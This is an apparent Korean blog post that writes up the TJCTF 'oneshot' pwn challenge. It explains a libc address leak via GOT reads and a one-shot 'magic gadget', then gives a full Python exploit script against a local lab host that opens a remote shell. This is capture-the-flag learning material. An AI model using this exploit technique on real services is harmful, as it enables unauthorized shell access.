ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • TJCTF onshot
    CTF 2016. 7. 12. 13:20
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int (__fastcall *v4)(const char *); // [sp+8h] [bp-8h]@1
    
      setbuf(stdout, 0LL);
      puts("Read location?");
      __isoc99_scanf("%ld", &v4);
      printf("Value: 0x%016lx\n", *(_QWORD *)v4);
      puts("Jump location?");
      __isoc99_scanf("%ld", &v4);
      puts("Good luck!");
      return v4("Good luck!");
    }



    주소를 넣어주면 그 주소를 읽어서 출력해주고, 점프도해준다.


    점프를 해주는곳에서 main주소를 넣어주면 다시 read를 하게될거다. 그럼 연계 공격이가능하단것..


    로컬에서 서버셋팅을 했기때문에 libc 주소가 글쓴이와 달리 다를수있다.


    우선 라이브러리를 알기위해 libcdb.com 이란 주소를 참고해서 라이브러리 릭을 통해 알아내면된다..



    print recvuntil("Read location?")
    s.send(str(libc_start_got) + "\n")
    print recvuntil("Jump location?")
    s.send(str(main) + "\n")
    print recvuntil("Read location?")
    s.send(str(setbuf_got) + "\n")


    이렇게 간단한코드로 릭을 해내서 libcdb에 대입하면 라이브러리를 획득할수있다.


    그럼, 라이브러리릭을했으니까 여기서 매직가젯이라는게 들어간다.


    문제이름은 oneshot인데, 원샷가젯이라고 불리기도한다.


    매직가젯이란, execve함수로 /bin/sh를 호출해주는 라이브러리에 내장된 함수로, system()과 얼마 떨어지지않은 위치에 존재한다.


    RTL할때 find &system,+999999,"/bin/sh" 해줄떄 /bin/sh주소가 나오는 이유도 이 때문이다.


    그럼 한번에 쉘을 따줄수있는데, 그럼 직접 라이브러리를 까야한다.





    그럼 걍 익스때려주면된다.


    from socket import *

    from telnetlib import * import struct p = lambda x:struct.pack("<L",x) up = lambda x:struct.unpack("<L",x) HOST = "10.211.55.8" PORT = 12345 s = socket(AF_INET,SOCK_STREAM) s.connect((HOST,PORT)) def recvuntil(t): data = '' while not data.endswith(t): tmp = s.recv(1) if not tmp: break data += tmp return data libc_start_got = 0x600AF0 setbuf_got = 0x600AE0 main = 0x400646 magic_offset = 0x4652c print recvuntil("Read location?") s.send(str(libc_start_got) + "\n") print recvuntil("Jump location?") s.send(str(main) + "\n") print recvuntil("Read location?") s.send(str(setbuf_got) + "\n") print recvuntil("Value: ") libc_base = int(recvuntil("\n"),16) - 0x721e0 magic = libc_base + magic_offset print "[*] LIBC Base: " + hex(libc_base) print "[*] Magic Gadget: " + hex(magic) print recvuntil("Jump location?") s.send(str(magic) + "\n") t = Telnet() t.sock = s t.interact()




    매직 가젯은 로컬에서 가능하고, xinetd로 돌아가는 서비스에서만 가능하다 (stdin,stdout) 

    'CTF' 카테고리의 다른 글

    Layer CTF echo_system  (0) 2016.09.04
    PoliCTF 2015 johns-library  (0) 2016.08.24
    SECUINSDIE 2016 noted  (0) 2016.07.11
    SECUINSIDE 2016 CYKOR_00002_patch  (0) 2016.07.11
    SECUINSIDE 2016 CYKOR_00001  (0) 2016.07.10

    댓글

Designed by Tistory.